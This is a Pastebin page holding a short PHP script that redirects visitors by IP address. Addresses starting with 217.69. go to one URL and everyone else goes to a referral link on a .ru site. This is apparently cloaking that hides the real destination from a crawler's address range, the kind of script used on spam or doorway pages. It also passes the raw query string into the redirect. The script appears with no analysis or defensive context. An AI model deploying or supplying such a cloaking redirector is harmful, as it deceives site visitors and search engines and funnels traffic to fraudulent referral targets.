Advertisement
PalmaSolutions

2W0Afh.php

Jun 2nd, 2018
153
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.60 KB | None | 0 0
  1. <?php
  2. error_reporting(E_ERROR);
  3. $ip = $_SERVER['HTTP_X_REAL_IP'] ? $_SERVER['HTTP_X_REAL_IP'] : $_SERVER['REMOTE_ADDR'];
  4.  
  5. $url = isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '';
  6.  
  7. if (substr($ip, 0, 7) == "217.69.")
  8. {
  9.     $url = "www.randomwebsite.com/cgi-bin/random.pl?$url";
  10. }
  11. else
  12. {
  13.     #$url = "duckduckgo.com/?q=google_sux";
  14.    $url = "formavit.ru/?ref=1322";
  15. }
  16.  
  17. header("Location: http://$url");
  18. echo "<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\n";
  19. echo "<html><head><meta http-equiv=\"refresh\" content=\"0;url=http://$url\"></head></html>";
  20. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement